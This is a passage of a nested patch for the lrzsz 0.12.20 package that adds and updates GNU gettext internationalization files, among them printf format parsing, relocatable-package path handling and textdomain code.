-+ max_precision_length = precision_length;
-+ }
-+ }
-+
-+ {
-+ arg_type type;
-+
-+ /* Parse argument type/size specifiers. */
-+ {
-+ int flags = 0;
-+
-+ for (;;)
-+ {
-+ if (*cp == 'h')
-+ {
-+ flags |= (1 << (flags & 1));
-+ cp++;
-+ }
-+ else if (*cp == 'L')
-+ {
-+ flags |= 4;
-+ cp++;
-+ }
-+ else if (*cp == 'l')
-+ {
-+ flags += 8;
-+ cp++;
-+ }
-+#ifdef HAVE_INTMAX_T
-+ else if (*cp == 'j')
-+ {
-+ if (sizeof (intmax_t) > sizeof (long))
-+ {
-+ /* intmax_t = long long */
-+ flags += 16;
-+ }
-+ else if (sizeof (intmax_t) > sizeof (int))
-+ {
-+ /* intmax_t = long */
-+ flags += 8;
-+ }
-+ cp++;
-+ }
-+#endif
-+ else if (*cp == 'z' || *cp == 'Z')
-+ {
-+ /* 'z' is standardized in ISO C 99, but glibc uses 'Z'
-+ because the warning facility in gcc-2.95.2 understands
-+ only 'Z' (see gcc-2.95.2/gcc/c-common.c:1784). */
-+ if (sizeof (size_t) > sizeof (long))
-+ {
-+ /* size_t = long long */
-+ flags += 16;
-+ }
-+ else if (sizeof (size_t) > sizeof (int))
-+ {
-+ /* size_t = long */
-+ flags += 8;
-+ }
-+ cp++;
-+ }
-+ else if (*cp == 't')
-+ {
-+ if (sizeof (ptrdiff_t) > sizeof (long))
-+ {
-+ /* ptrdiff_t = long long */
-+ flags += 16;
-+ }
-+ else if (sizeof (ptrdiff_t) > sizeof (int))
-+ {
-+ /* ptrdiff_t = long */
-+ flags += 8;
-+ }
-+ cp++;
-+ }
-+ else
-+ break;
-+ }
-+
-+ /* Read the conversion character. */
-+ c = *cp++;
-+ switch (c)
-+ {
-+ case 'd': case 'i':
-+#ifdef HAVE_LONG_LONG
-+ if (flags >= 16 || (flags & 4))
-+ type = TYPE_LONGLONGINT;
-+ else
-+#endif
-+ if (flags >= 8)
-+ type = TYPE_LONGINT;
-+ else if (flags & 2)
-+ type = TYPE_SCHAR;
-+ else if (flags & 1)
-+ type = TYPE_SHORT;
-+ else
-+ type = TYPE_INT;
-+ break;
-+ case 'o': case 'u': case 'x': case 'X':
-+#ifdef HAVE_LONG_LONG
-+ if (flags >= 16 || (flags & 4))
-+ type = TYPE_ULONGLONGINT;
-+ else
-+#endif
-+ if (flags >= 8)
-+ type = TYPE_ULONGINT;
-+ else if (flags & 2)
-+ type = TYPE_UCHAR;
-+ else if (flags & 1)
-+ type = TYPE_USHORT;
-+ else
-+ type = TYPE_UINT;
-+ break;
-+ case 'f': case 'F': case 'e': case 'E': case 'g': case 'G':
-+ case 'a': case 'A':
-+#ifdef HAVE_LONG_DOUBLE
-+ if (flags >= 16 || (flags & 4))
-+ type = TYPE_LONGDOUBLE;
-+ else
-+#endif
-+ type = TYPE_DOUBLE;
-+ break;
-+ case 'c':
-+ if (flags >= 8)
-+#ifdef HAVE_WINT_T
-+ type = TYPE_WIDE_CHAR;
-+#else
-+ goto error;
-+#endif
-+ else
-+ type = TYPE_CHAR;
-+ break;
-+#ifdef HAVE_WINT_T
-+ case 'C':
-+ type = TYPE_WIDE_CHAR;
-+ c = 'c';
-+ break;
-+#endif
-+ case 's':
-+ if (flags >= 8)
-+#ifdef HAVE_WCHAR_T
-+ type = TYPE_WIDE_STRING;
-+#else
-+ goto error;
-+#endif
-+ else
-+ type = TYPE_STRING;
-+ break;
-+#ifdef HAVE_WCHAR_T
-+ case 'S':
-+ type = TYPE_WIDE_STRING;
-+ c = 's';
-+ break;
-+#endif
-+ case 'p':
-+ type = TYPE_POINTER;
-+ break;
-+ case 'n':
-+#ifdef HAVE_LONG_LONG
-+ if (flags >= 16 || (flags & 4))
-+ type = TYPE_COUNT_LONGLONGINT_POINTER;
-+ else
-+#endif
-+ if (flags >= 8)
-+ type = TYPE_COUNT_LONGINT_POINTER;
-+ else if (flags & 2)
-+ type = TYPE_COUNT_SCHAR_POINTER;
-+ else if (flags & 1)
-+ type = TYPE_COUNT_SHORT_POINTER;
-+ else
-+ type = TYPE_COUNT_INT_POINTER;
-+ break;
-+ case '%':
-+ type = TYPE_NONE;
-+ break;
-+ default:
-+ /* Unknown conversion character. */
-+ goto error;
-+ }
-+ }
-+
-+ if (type != TYPE_NONE)
-+ {
-+ dp->arg_index = arg_index;
-+ if (dp->arg_index == ARG_NONE)
-+ {
-+ dp->arg_index = arg_posn++;
-+ if (dp->arg_index == ARG_NONE)
-+ /* arg_posn wrapped around. */
-+ goto error;
-+ }
-+ REGISTER_ARG (dp->arg_index, type);
-+ }
-+ dp->conversion = c;
-+ dp->dir_end = cp;
-+ }
-+
-+ d->count++;
-+ if (d->count >= d_allocated)
-+ {
-+ size_t memory_size;
-+ DIRECTIVE *memory;
-+
-+ d_allocated = xtimes (d_allocated, 2);
-+ memory_size = xtimes (d_allocated, sizeof (DIRECTIVE));
-+ if (size_overflow_p (memory_size))
-+ /* Overflow, would lead to out of memory. */
-+ goto error;
-+ memory = realloc (d->dir, memory_size);
-+ if (memory == NULL)
-+ /* Out of memory. */
-+ goto error;
-+ d->dir = memory;
-+ }
-+ }
-+ }
-+ d->dir[d->count].dir_start = cp;
-+
-+ d->max_width_length = max_width_length;
-+ d->max_precision_length = max_precision_length;
-+ return 0;
-+
-+error:
-+ if (a->arg)
-+ free (a->arg);
-+ if (d->dir)
-+ free (d->dir);
-+ return -1;
-+}
-+
-+#undef DIRECTIVES
-+#undef DIRECTIVE
-+#undef CHAR_T
-+#undef PRINTF_PARSE
---- lrzsz-0.12.20.safe/intl/printf-parse.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/printf-parse.h 2004-09-12 14:40:34.628706592 -0400
-@@ -0,0 +1,75 @@
-+/* Parse printf format string.
-+ Copyright (C) 1999, 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _PRINTF_PARSE_H
-+#define _PRINTF_PARSE_H
-+
-+#include "printf-args.h"
-+
-+
-+/* Flags */
-+#define FLAG_GROUP 1 /* ' flag */
-+#define FLAG_LEFT 2 /* - flag */
-+#define FLAG_SHOWSIGN 4 /* + flag */
-+#define FLAG_SPACE 8 /* space flag */
-+#define FLAG_ALT 16 /* # flag */
-+#define FLAG_ZERO 32
-+
-+/* arg_index value indicating that no argument is consumed. */
-+#define ARG_NONE (~(size_t)0)
-+
-+/* A parsed directive. */
-+typedef struct
-+{
-+ const char* dir_start;
-+ const char* dir_end;
-+ int flags;
-+ const char* width_start;
-+ const char* width_end;
-+ size_t width_arg_index;
-+ const char* precision_start;
-+ const char* precision_end;
-+ size_t precision_arg_index;
-+ char conversion; /* d i o u x X f e E g G c s p n U % but not C S */
-+ size_t arg_index;
-+}
-+char_directive;
-+
-+/* A parsed format string. */
-+typedef struct
-+{
-+ size_t count;
-+ char_directive *dir;
-+ size_t max_width_length;
-+ size_t max_precision_length;
-+}
-+char_directives;
-+
-+
-+/* Parses the format string. Fills in the number N of directives, and fills
-+ in directives[0], ..., directives[N-1], and sets directives[N].dir_start
-+ to the end of the format string. Also fills in the arg_type fields of the
-+ arguments and the needed count of arguments. */
-+#ifdef STATIC
-+STATIC
-+#else
-+extern
-+#endif
-+int printf_parse (const char *format, char_directives *d, arguments *a);
-+
-+#endif /* _PRINTF_PARSE_H */
---- lrzsz-0.12.20.safe/intl/ref-add.sin 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/ref-add.sin 2004-09-12 14:40:34.633705832 -0400
-@@ -0,0 +1,31 @@
-+# Add this package to a list of references stored in a text file.
-+#
-+# Copyright (C) 2000 Free Software Foundation, Inc.
-+#
-+# This program is free software; you can redistribute it and/or modify it
-+# under the terms of the GNU Library General Public License as published
-+# by the Free Software Foundation; either version 2, or (at your option)
-+# any later version.
-+#
-+# This program is distributed in the hope that it will be useful,
-+# but WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# Library General Public License for more details.
-+#
-+# You should have received a copy of the GNU Library General Public
-+# License along with this program; if not, write to the Free Software
-+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+# USA.
-+#
-+# Written by Bruno Haible <haible@clisp.cons.org>.
-+#
-+/^# Packages using this file: / {
-+ s/# Packages using this file://
-+ ta
-+ :a
-+ s/ @PACKAGE@ / @PACKAGE@ /
-+ tb
-+ s/ $/ @PACKAGE@ /
-+ :b
-+ s/^/# Packages using this file:/
-+}
---- lrzsz-0.12.20.safe/intl/ref-del.sin 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/ref-del.sin 2004-09-12 14:40:34.638705072 -0400
-@@ -0,0 +1,26 @@
-+# Remove this package from a list of references stored in a text file.
-+#
-+# Copyright (C) 2000 Free Software Foundation, Inc.
-+#
-+# This program is free software; you can redistribute it and/or modify it
-+# under the terms of the GNU Library General Public License as published
-+# by the Free Software Foundation; either version 2, or (at your option)
-+# any later version.
-+#
-+# This program is distributed in the hope that it will be useful,
-+# but WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# Library General Public License for more details.
-+#
-+# You should have received a copy of the GNU Library General Public
-+# License along with this program; if not, write to the Free Software
-+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+# USA.
-+#
-+# Written by Bruno Haible <haible@clisp.cons.org>.
-+#
-+/^# Packages using this file: / {
-+ s/# Packages using this file://
-+ s/ @PACKAGE@ / /
-+ s/^/# Packages using this file:/
-+}
---- lrzsz-0.12.20.safe/intl/relocatable.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/relocatable.c 2004-09-12 14:40:34.644704160 -0400
-@@ -0,0 +1,449 @@
-+/* Provide relocatable packages.
-+ Copyright (C) 2003 Free Software Foundation, Inc.
-+ Written by Bruno Haible <bruno@clisp.org>, 2003.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+
-+/* Tell glibc's <stdio.h> to provide a prototype for getline().
-+ This must come before <config.h> because <config.h> may include
-+ <features.h>, and once <features.h> has been included, it's too late. */
-+#ifndef _GNU_SOURCE
-+# define _GNU_SOURCE 1
-+#endif
-+
-+#ifdef HAVE_CONFIG_H
-+# include "config.h"
-+#endif
-+
-+/* Specification. */
-+#include "relocatable.h"
-+
-+#if ENABLE_RELOCATABLE
-+
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <string.h>
-+
-+#ifdef NO_XMALLOC
-+# define xmalloc malloc
-+#else
-+# include "xalloc.h"
-+#endif
-+
-+#if defined _WIN32 || defined __WIN32__
-+# define WIN32_LEAN_AND_MEAN
-+# include <windows.h>
-+#endif
-+
-+#if DEPENDS_ON_LIBCHARSET
-+# include <libcharset.h>
-+#endif
-+#if DEPENDS_ON_LIBICONV && HAVE_ICONV
-+# include <iconv.h>
-+#endif
-+#if DEPENDS_ON_LIBINTL && ENABLE_NLS
-+# include <libintl.h>
-+#endif
-+
-+/* Faked cheap 'bool'. */
-+#undef bool
-+#undef false
-+#undef true
-+#define bool int
-+#define false 0
-+#define true 1
-+
-+/* Pathname support.
-+ ISSLASH(C) tests whether C is a directory separator character.
-+ IS_PATH_WITH_DIR(P) tests whether P contains a directory specification.
-+ */
-+#if defined _WIN32 || defined __WIN32__ || defined __EMX__ || defined __DJGPP__
-+ /* Win32, OS/2, DOS */
-+# define ISSLASH(C) ((C) == '/' || (C) == '\\')
-+# define HAS_DEVICE(P) \
-+ ((((P)[0] >= 'A' && (P)[0] <= 'Z') || ((P)[0] >= 'a' && (P)[0] <= 'z')) \
-+ && (P)[1] == ':')
-+# define IS_PATH_WITH_DIR(P) \
-+ (strchr (P, '/') != NULL || strchr (P, '\\') != NULL || HAS_DEVICE (P))
-+# define FILESYSTEM_PREFIX_LEN(P) (HAS_DEVICE (P) ? 2 : 0)
-+#else
-+ /* Unix */
-+# define ISSLASH(C) ((C) == '/')
-+# define IS_PATH_WITH_DIR(P) (strchr (P, '/') != NULL)
-+# define FILESYSTEM_PREFIX_LEN(P) 0
-+#endif
-+
-+/* Original installation prefix. */
-+static char *orig_prefix;
-+static size_t orig_prefix_len;
-+/* Current installation prefix. */
-+static char *curr_prefix;
-+static size_t curr_prefix_len;
-+/* These prefixes do not end in a slash. Anything that will be concatenated
-+ to them must start with a slash. */
-+
-+/* Sets the original and the current installation prefix of this module.
-+ Relocation simply replaces a pathname starting with the original prefix
-+ by the corresponding pathname with the current prefix instead. Both
-+ prefixes should be directory names without trailing slash (i.e. use ""
-+ instead of "/"). */
-+static void
-+set_this_relocation_prefix (const char *orig_prefix_arg,
-+ const char *curr_prefix_arg)
-+{
-+ if (orig_prefix_arg != NULL && curr_prefix_arg != NULL
-+ /* Optimization: if orig_prefix and curr_prefix are equal, the
-+ relocation is a nop. */
-+ && strcmp (orig_prefix_arg, curr_prefix_arg) != 0)
-+ {
-+ /* Duplicate the argument strings. */
-+ char *memory;
-+
-+ orig_prefix_len = strlen (orig_prefix_arg);
-+ curr_prefix_len = strlen (curr_prefix_arg);
-+ memory = (char *) xmalloc (orig_prefix_len + 1 + curr_prefix_len + 1);
-+#ifdef NO_XMALLOC
-+ if (memory != NULL)
-+#endif
-+ {
-+ memcpy (memory, orig_prefix_arg, orig_prefix_len + 1);
-+ orig_prefix = memory;
-+ memory += orig_prefix_len + 1;
-+ memcpy (memory, curr_prefix_arg, curr_prefix_len + 1);
-+ curr_prefix = memory;
-+ return;
-+ }
-+ }
-+ orig_prefix = NULL;
-+ curr_prefix = NULL;
-+ /* Don't worry about wasted memory here - this function is usually only
-+ called once. */
-+}
-+
-+/* Sets the original and the current installation prefix of the package.
-+ Relocation simply replaces a pathname starting with the original prefix
-+ by the corresponding pathname with the current prefix instead. Both
-+ prefixes should be directory names without trailing slash (i.e. use ""
-+ instead of "/"). */
-+void
-+set_relocation_prefix (const char *orig_prefix_arg, const char *curr_prefix_arg)
-+{
-+ set_this_relocation_prefix (orig_prefix_arg, curr_prefix_arg);
-+
-+ /* Now notify all dependent libraries. */
-+#if DEPENDS_ON_LIBCHARSET
-+ libcharset_set_relocation_prefix (orig_prefix_arg, curr_prefix_arg);
-+#endif
-+#if DEPENDS_ON_LIBICONV && HAVE_ICONV && _LIBICONV_VERSION >= 0x0109
-+ libiconv_set_relocation_prefix (orig_prefix_arg, curr_prefix_arg);
-+#endif
-+#if DEPENDS_ON_LIBINTL && ENABLE_NLS && defined libintl_set_relocation_prefix
-+ libintl_set_relocation_prefix (orig_prefix_arg, curr_prefix_arg);
-+#endif
-+}
-+
-+#if !defined IN_LIBRARY || (defined PIC && defined INSTALLDIR)
-+
-+/* Convenience function:
-+ Computes the current installation prefix, based on the original
-+ installation prefix, the original installation directory of a particular
-+ file, and the current pathname of this file. Returns NULL upon failure. */
-+#ifdef IN_LIBRARY
-+#define compute_curr_prefix local_compute_curr_prefix
-+static
-+#endif
-+const char *
-+compute_curr_prefix (const char *orig_installprefix,
-+ const char *orig_installdir,
-+ const char *curr_pathname)
-+{
-+ const char *curr_installdir;
-+ const char *rel_installdir;
-+
-+ if (curr_pathname == NULL)
-+ return NULL;
-+
-+ /* Determine the relative installation directory, relative to the prefix.
-+ This is simply the difference between orig_installprefix and
-+ orig_installdir. */
-+ if (strncmp (orig_installprefix, orig_installdir, strlen (orig_installprefix))
-+ != 0)
-+ /* Shouldn't happen - nothing should be installed outside $(prefix). */
-+ return NULL;
-+ rel_installdir = orig_installdir + strlen (orig_installprefix);
-+
-+ /* Determine the current installation directory. */
-+ {
-+ const char *p_base = curr_pathname + FILESYSTEM_PREFIX_LEN (curr_pathname);
-+ const char *p = curr_pathname + strlen (curr_pathname);
-+ char *q;
-+
-+ while (p > p_base)
-+ {
-+ p--;
-+ if (ISSLASH (*p))
-+ break;
-+ }
-+
-+ q = (char *) xmalloc (p - curr_pathname + 1);
-+#ifdef NO_XMALLOC
-+ if (q == NULL)
-+ return NULL;
-+#endif
-+ memcpy (q, curr_pathname, p - curr_pathname);
-+ q[p - curr_pathname] = '\0';
-+ curr_installdir = q;
-+ }
-+
-+ /* Compute the current installation prefix by removing the trailing
-+ rel_installdir from it. */
-+ {
-+ const char *rp = rel_installdir + strlen (rel_installdir);
-+ const char *cp = curr_installdir + strlen (curr_installdir);
-+ const char *cp_base =
-+ curr_installdir + FILESYSTEM_PREFIX_LEN (curr_installdir);
-+
-+ while (rp > rel_installdir && cp > cp_base)
-+ {
-+ bool same = false;
-+ const char *rpi = rp;
-+ const char *cpi = cp;
-+
-+ while (rpi > rel_installdir && cpi > cp_base)
-+ {
-+ rpi--;
-+ cpi--;
-+ if (ISSLASH (*rpi) || ISSLASH (*cpi))
-+ {
-+ if (ISSLASH (*rpi) && ISSLASH (*cpi))
-+ same = true;
-+ break;
-+ }
-+#if defined _WIN32 || defined __WIN32__ || defined __EMX__ || defined __DJGPP__
-+ /* Win32, OS/2, DOS - case insignificant filesystem */
-+ if ((*rpi >= 'a' && *rpi <= 'z' ? *rpi - 'a' + 'A' : *rpi)
-+ != (*cpi >= 'a' && *cpi <= 'z' ? *cpi - 'a' + 'A' : *cpi))
-+ break;
-+#else
-+ if (*rpi != *cpi)
-+ break;
-+#endif
-+ }
-+ if (!same)
-+ break;
-+ /* The last pathname component was the same. opi and cpi now point
-+ to the slash before it. */
-+ rp = rpi;
-+ cp = cpi;
-+ }
-+
-+ if (rp > rel_installdir)
-+ /* Unexpected: The curr_installdir does not end with rel_installdir. */
-+ return NULL;
-+
-+ {
-+ size_t curr_prefix_len = cp - curr_installdir;
-+ char *curr_prefix;
-+
-+ curr_prefix = (char *) xmalloc (curr_prefix_len + 1);
-+#ifdef NO_XMALLOC
-+ if (curr_prefix == NULL)
-+ return NULL;
-+#endif
-+ memcpy (curr_prefix, curr_installdir, curr_prefix_len);
-+ curr_prefix[curr_prefix_len] = '\0';
-+
-+ return curr_prefix;
-+ }
-+ }
-+}
-+
-+#endif /* !IN_LIBRARY || PIC */
-+
-+#if defined PIC && defined INSTALLDIR
-+
-+/* Full pathname of shared library, or NULL. */
-+static char *shared_library_fullname;
-+
-+#if defined _WIN32 || defined __WIN32__
-+
-+/* Determine the full pathname of the shared library when it is loaded. */
-+
-+BOOL WINAPI
-+DllMain (HINSTANCE module_handle, DWORD event, LPVOID reserved)
-+{
-+ (void) reserved;
-+
-+ if (event == DLL_PROCESS_ATTACH)
-+ {
-+ /* The DLL is being loaded into an application's address range. */
-+ static char location[MAX_PATH];
-+
-+ if (!GetModuleFileName (module_handle, location, sizeof (location)))
-+ /* Shouldn't happen. */
-+ return FALSE;
-+
-+ if (!IS_PATH_WITH_DIR (location))
-+ /* Shouldn't happen. */
-+ return FALSE;
-+
-+ shared_library_fullname = strdup (location);
-+ }
-+
-+ return TRUE;
-+}
-+
-+#else /* Unix */
-+
-+static void
-+find_shared_library_fullname ()
-+{
-+#if defined __linux__ && __GLIBC__ >= 2
-+ /* Linux has /proc/self/maps. glibc 2 has the getline() function. */
-+ FILE *fp;
-+
-+ /* Open the current process' maps file. It describes one VMA per line. */
-+ fp = fopen ("/proc/self/maps", "r");
-+ if (fp)
-+ {
-+ unsigned long address = (unsigned long) &find_shared_library_fullname;
-+ for (;;)
-+ {
-+ unsigned long start, end;
-+ int c;
-+
-+ if (fscanf (fp, "%lx-%lx", &start, &end) != 2)
-+ break;
-+ if (address >= start && address <= end - 1)
-+ {
-+ /* Found it. Now see if this line contains a filename. */
-+ while (c = getc (fp), c != EOF && c != '\n' && c != '/')
-+ continue;
-+ if (c == '/')
-+ {
-+ size_t size;
-+ int len;
-+
-+ ungetc (c, fp);
-+ shared_library_fullname = NULL; size = 0;
-+ len = getline (&shared_library_fullname, &size, fp);
-+ if (len >= 0)
-+ {
-+ /* Success: filled shared_library_fullname. */
-+ if (len > 0 && shared_library_fullname[len - 1] == '\n')
-+ shared_library_fullname[len - 1] = '\0';
-+ }
-+ }
-+ break;
-+ }
-+ while (c = getc (fp), c != EOF && c != '\n')
-+ continue;
-+ }
-+ fclose (fp);
-+ }
-+#endif
-+}
-+
-+#endif /* WIN32 / Unix */
-+
-+/* Return the full pathname of the current shared library.
-+ Return NULL if unknown.
-+ Guaranteed to work only on Linux and Woe32. */
-+static char *
-+get_shared_library_fullname ()
-+{
-+#if !(defined _WIN32 || defined __WIN32__)
-+ static bool tried_find_shared_library_fullname;
-+ if (!tried_find_shared_library_fullname)
-+ {
-+ find_shared_library_fullname ();
-+ tried_find_shared_library_fullname = true;
-+ }
-+#endif
-+ return shared_library_fullname;
-+}
-+
-+#endif /* PIC */
-+
-+/* Returns the pathname, relocated according to the current installation
-+ directory. */
-+const char *
-+relocate (const char *pathname)
-+{
-+#if defined PIC && defined INSTALLDIR
-+ static int initialized;
-+
-+ /* Initialization code for a shared library. */
-+ if (!initialized)
-+ {
-+ /* At this point, orig_prefix and curr_prefix likely have already been
-+ set through the main program's set_program_name_and_installdir
-+ function. This is sufficient in the case that the library has
-+ initially been installed in the same orig_prefix. But we can do
-+ better, to also cover the cases that 1. it has been installed
-+ in a different prefix before being moved to orig_prefix and (later)
-+ to curr_prefix, 2. unlike the program, it has not moved away from
-+ orig_prefix. */
-+ const char *orig_installprefix = INSTALLPREFIX;
-+ const char *orig_installdir = INSTALLDIR;
-+ const char *curr_prefix_better;
-+
-+ curr_prefix_better =
-+ compute_curr_prefix (orig_installprefix, orig_installdir,
-+ get_shared_library_fullname ());
-+ if (curr_prefix_better == NULL)
-+ curr_prefix_better = curr_prefix;
-+
-+ set_relocation_prefix (orig_installprefix, curr_prefix_better);
-+
-+ initialized = 1;
-+ }
-+#endif
-+
-+ /* Note: It is not necessary to perform case insensitive comparison here,
-+ even for DOS-like filesystems, because the pathname argument was
-+ typically created from the same Makefile variable as orig_prefix came
-+ from. */
-+ if (orig_prefix != NULL && curr_prefix != NULL
-+ && strncmp (pathname, orig_prefix, orig_prefix_len) == 0)
-+ {
-+ if (pathname[orig_prefix_len] == '\0')
-+ /* pathname equals orig_prefix. */
-+ return curr_prefix;
-+ if (ISSLASH (pathname[orig_prefix_len]))
-+ {
-+ /* pathname starts with orig_prefix. */
-+ const char *pathname_tail = &pathname[orig_prefix_len];
-+ char *result =
-+ (char *) xmalloc (curr_prefix_len + strlen (pathname_tail) + 1);
-+
-+#ifdef NO_XMALLOC
-+ if (result != NULL)
-+#endif
-+ {
-+ memcpy (result, curr_prefix, curr_prefix_len);
-+ strcpy (result + curr_prefix_len, pathname_tail);
-+ return result;
-+ }
-+ }
-+ }
-+ /* Nothing to relocate. */
-+ return pathname;
-+}
-+
-+#endif
---- lrzsz-0.12.20.safe/intl/relocatable.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/relocatable.h 2004-09-12 14:40:34.651703096 -0400
-@@ -0,0 +1,77 @@
-+/* Provide relocatable packages.
-+ Copyright (C) 2003 Free Software Foundation, Inc.
-+ Written by Bruno Haible <bruno@clisp.org>, 2003.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _RELOCATABLE_H
-+#define _RELOCATABLE_H
-+
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-+
-+
-+/* This can be enabled through the configure --enable-relocatable option. */
-+#if ENABLE_RELOCATABLE
-+
-+/* When building a DLL, we must export some functions. Note that because
-+ this is a private .h file, we don't need to use __declspec(dllimport)
-+ in any case. */
-+#if defined _MSC_VER && BUILDING_DLL
-+# define RELOCATABLE_DLL_EXPORTED __declspec(dllexport)
-+#else
-+# define RELOCATABLE_DLL_EXPORTED
-+#endif
-+
-+/* Sets the original and the current installation prefix of the package.
-+ Relocation simply replaces a pathname starting with the original prefix
-+ by the corresponding pathname with the current prefix instead. Both
-+ prefixes should be directory names without trailing slash (i.e. use ""
-+ instead of "/"). */
-+extern RELOCATABLE_DLL_EXPORTED void
-+ set_relocation_prefix (const char *orig_prefix,
-+ const char *curr_prefix);
-+
-+/* Returns the pathname, relocated according to the current installation
-+ directory. */
-+extern const char * relocate (const char *pathname);
-+
-+/* Memory management: relocate() leaks memory, because it has to construct
-+ a fresh pathname. If this is a problem because your program calls
-+ relocate() frequently, think about caching the result. */
-+
-+/* Convenience function:
-+ Computes the current installation prefix, based on the original
-+ installation prefix, the original installation directory of a particular
-+ file, and the current pathname of this file. Returns NULL upon failure. */
-+extern const char * compute_curr_prefix (const char *orig_installprefix,
-+ const char *orig_installdir,
-+ const char *curr_pathname);
-+
-+#else
-+
-+/* By default, we use the hardwired pathnames. */
-+#define relocate(pathname) (pathname)
-+
-+#endif
-+
-+
-+#ifdef __cplusplus
-+}
-+#endif
-+
-+#endif /* _RELOCATABLE_H */
---- lrzsz-0.12.20.safe/intl/textdomain.c 1998-04-26 09:22:37.000000000 -0400
-+++ lrzsz-0.12.20/intl/textdomain.c 2004-09-12 14:40:34.656702336 -0400
-@@ -1,51 +1,60 @@
--/* Implementation of the textdomain(3) function
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
-+/* Implementation of the textdomain(3) function.
-+ Copyright (C) 1995-1998, 2000-2003 Free Software Foundation, Inc.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
--#if defined STDC_HEADERS || defined _LIBC
--# include <stdlib.h>
--#endif
-+#include <stdlib.h>
-+#include <string.h>
-
--#if defined STDC_HEADERS || defined HAVE_STRING_H || defined _LIBC
--# include <string.h>
-+#ifdef _LIBC
-+# include <libintl.h>
- #else
--# include <strings.h>
--# ifndef memcpy
--# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
--# endif
-+# include "libgnuintl.h"
- #endif
-+#include "gettextP.h"
-
- #ifdef _LIBC
--# include <libintl.h>
-+/* We have to handle multi-threaded applications. */
-+# include <bits/libc-lock.h>
- #else
--# include "libgettext.h"
-+/* Provide dummy implementation if this is outside glibc. */
-+# define __libc_rwlock_define(CLASS, NAME)
-+# define __libc_rwlock_wrlock(NAME)
-+# define __libc_rwlock_unlock(NAME)
-+#endif
-+
-+/* The internal variables in the standalone libintl.a must have different
-+ names than the internal variables in GNU libc, otherwise programs
-+ using libintl.a cannot be linked statically. */
-+#if !defined _LIBC
-+# define _nl_default_default_domain libintl_nl_default_default_domain
-+# define _nl_current_default_domain libintl_nl_current_default_domain
- #endif
-
- /* @@ end of prolog @@ */
-
- /* Name of the default text domain. */
--extern const char _nl_default_default_domain[];
-+extern const char _nl_default_default_domain[] attribute_hidden;
-
- /* Default text domain in which entries for gettext(3) are to be found. */
--extern const char *_nl_current_default_domain;
-+extern const char *_nl_current_default_domain attribute_hidden;
-
-
- /* Names for the libintl functions are a problem. They must not clash
-@@ -54,50 +63,76 @@
- prefix. So we have to make a difference here. */
- #ifdef _LIBC
- # define TEXTDOMAIN __textdomain
--# define strdup(str) __strdup (str)
-+# ifndef strdup
-+# define strdup(str) __strdup (str)
-+# endif
- #else
--# define TEXTDOMAIN textdomain__
-+# define TEXTDOMAIN libintl_textdomain
- #endif
-
-+/* Lock variable to protect the global data in the gettext implementation. */
